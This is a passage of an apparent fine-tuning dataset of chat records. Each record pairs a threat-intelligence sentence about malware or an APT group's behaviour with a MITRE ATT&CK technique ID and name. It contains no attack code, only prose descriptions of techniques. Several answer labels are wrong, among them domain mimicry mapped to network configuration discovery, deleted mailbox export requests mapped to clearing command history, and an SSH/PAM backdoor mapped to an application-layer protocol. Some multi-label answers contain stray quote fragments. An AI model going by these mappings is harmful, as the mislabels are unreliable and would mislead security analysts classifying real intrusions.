                "content": "menuPass has used native APIs including \"GetModuleFileName\", \"lstrcat\", \"CreateFile\", and \"ReadFile\"."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The recording of audio data from the internal microphone is also rather new. Of course, other malware exists which can record audio, but key here is Flame’s completeness – the ability to steal data in so many different ways"
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN uses HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp deletes files to remove evidence on the machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition to the encrypted strings table, BitPaymer replaces the remaining strings in the binary with hashes and uses an algorithm to match these hashes with strings that exist on the host. The hashing algorithm generates a CRC32 hash of the string, converted to lowercase. This hash is combined with a DWORD using a simple XOR. This string hashing algorithm is identical to the hashing algorithm used in other Dridex modules. The hash algorithm has been replicated in Python below"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has created email accounts that mimic legitimate organizations for its spearphishing operations."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Netwalker can determine the system architecture it is running on to choose which version of the DLL to use."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MURKYTOP: a command-line reconnaissance tool"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leafminer has infected victims using watering holes."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "provides access to the system via SSH or any other protocol that uses PAM to authenticate."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has the ability to communicate with C2 over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unlike a previously reported variant, this version of BADNEWS no longer looks at USB drives for interesting files"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware component, test.exe, uses the Windows command \"cmd.exe\" /C whoami” to verify it is running with the elevated privileges of “System” and creates persistence by creating the following scheduled task"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed) to maintain access to credentials and certain permission levels within an environment (Account Manipulation [T1098]) - Steal the credentials of a specific user or service account to bypass access controls and retain access to remote systems and externally available services (Valid Accounts [T1078]) - Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence, conduct remote execution for lateral movement, gain SYSTEM privileges for privilege escalation, or run a process under the context of a specified account (Scheduled Task/Job [T1053]) - Abuse the Windows DLLs search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence (Hijack Execution Flow: DLL Search Order Hijacking [T1056.004]) - Exploit hooking to load and execute malicious code within the context of another process to mask the execution, allow access to the process’s memory, and, possibly, gain elevated privileges (Input Capture: Credential API Hooking [T1574.001]) - Use remote services to persist within a victim’s network (External Remote Services [T1133"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell', 'T1569.002 - System Services: Service Execution', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TSCookie has encrypted network communications with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the username from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On occasions, the phishing emails contained links to external domains to download the first stage, and sometimes the first stage was attached to the email itself"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The structure of the domain mimics the Mercator Institute for China Studies (MERICS), whose actual domain is merics.org"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete had a module in its malware to find, encrypt, and upload files from fixed and removable drives."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEXTMATE uses DNS TXT records for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor can use TCP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of retrieving information about the infected system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN encrypts the collected files using 3-DES."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has removed mailbox export requests from compromised Exchange servers."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal on Host: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to create a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pasam establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DDKONG lists files on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "recursively generates a list of files within a directory and sends them back to the control server."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet encrypts exfiltrated data via C2 with static 31-byte long XOR keys."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has created new LinkedIn and Twitter accounts to conduct social engineering against potential victims."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has bypassed UAC by performing token impersonation as well as an RPC-based method, this included bypassing UAC set to “AlwaysNotify\"."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used powershell.exe to download and execute scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has used AES to exfiltrate documents."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has connected to C2 servers through proxies."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Amadey has collected the user name from a compromised host using `GetUserNameA`."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windigo has distributed Windows malware via drive-by downloads."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "China Chopper's server component can download remote files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Monday, February 12, 2018 . Olympic Destroyer Takes Aim At Winter Olympics . This blog post is authored by Warren Mercer and Paul Rascagneres. Olympic Destroyer Workflow . Initial stage . The initial edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9 sample is a binary that, when executed, drops multiple files on to the victim host. SQLite is embedded in the sample: . System Credential Stealer . In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. This step is executed to ensure that file recovery is not trivial - WBAdmin can be used to recover individual files, folders and also whole drives so this would be a very convenient tool for a sysadmin to use in order to aid recovery. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: \"Disabled: Specifies that the service should not be started. Legitimate File . Additionally, the Olympic Destroyer drops the legitimate, digitally signed, PsExec file in order to perform lateral movement by using this legitimate tool from Microsoft. Using legitimate tools like PsExec will save the adversary time from writing their own tooling. Disruption is the clear objective in this type of attack and it leaves us confident in thinking that the actors behind this were after embarrassment of the Olympic committee during the opening ceremony. Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. categories . Subscribe To Our Feed . Blog Archive . - - - - - - - - - - - - ▼ February (14) CannibalRAT targets Brazil Who Wasn’t Responsible for Olympic Destroyer"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can use modules that extract passwords from common web browsers such as Firefox and Chrome."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "certutil is a WIndows component that can download external content to the computer. In a typical attack, the criminals follow this paradigm"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has used \"printf\" and file I/O loops to delay process execution as part of API hammering."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a customized XOR algorithm to encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Microsoft Sysinternals  is a popular administration tool that can be used to execute binaries on remote systems using a temporary Windows service."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Sharpshooter, the threat actors staged malicious files on Dropbox and other websites."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors collected a list of open connections on the infected system using `netstat` and checks whether it has an internet connection."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CostaRicto has used a layer of proxies to manage C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can record the sounds from microphones on a computer."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 created tokens using compromised SAML signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has harvested valid administrative credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has executed commands using \"cmd.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has the ability to disable Microsoft Outlook's security policies to disable macro warnings."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be launched by using DLL search order hijacking in which the wrapper DLL is placed in the same folder as explorer.exe and loaded during startup into the Windows Explorer process instead of the legitimate library."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "was added to a legitimate, signed version 5.33 of the CCleaner software and distributed on CCleaner's distribution site."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Linux version of  checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges.  also gathers the username of the victim."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak has obtained and used open-source tools such as PsExec and Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "steals credentials from its victims."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is executed using rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot has spread through emails with malicious links."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can capture screenshots of the infected system using the `gdi32` library."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gorgon Group malware can leverage the Windows API call, CreateProcessA(), for execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware has specific features that allow the attackers to perform operations related to online banking transactions, password stealing and clipboard monitoring. We also found various versions of the payload: the version focused on stealing data from victims in Brazil is typically unpacked, while the versions targeting banks in Chile and Mexico are packed with VMProtect or Themida"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used stolen cookies to access cloud resources, and a forged \"duo-sid\" cookie to bypass MFA set on an email account."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 actors installed a credential logger on Microsoft Exchange servers. Threat Group-3390 also leveraged the reconnaissance framework, ScanBox, to capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, the script stores the encrypted payload in the Windows registry. Note that the attackers seem to use a different registry location per organization. Thus, it is not a useful indicator to detect similar intrusions"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackLotus claims to come with anti-virtual machine (anti-VM), anti-debug, and code obfuscation features to block malware analysis attempts. The seller also claims that security software cannot detect and kill the bootkit as it runs under the SYSTEM account within a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 servers communicated with malware over TCP 8081, 8282, and 8083."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proton gathers credentials in files for 1password."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf can take screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the target’s machine is compromised, the attacker first enumerates all processes running in the system and all services. Then the attacker looks for all administrator accounts on both the local machine and the network. This reflects the Poseidon Group’s familiarity with Windows network administration"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor, was investigated and presented by the Talos research team. Morphisec has investigated different samples from the same campaign. The following analysis presents our findings, focusing on the additional sophistication patterns and attribution patterns"
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
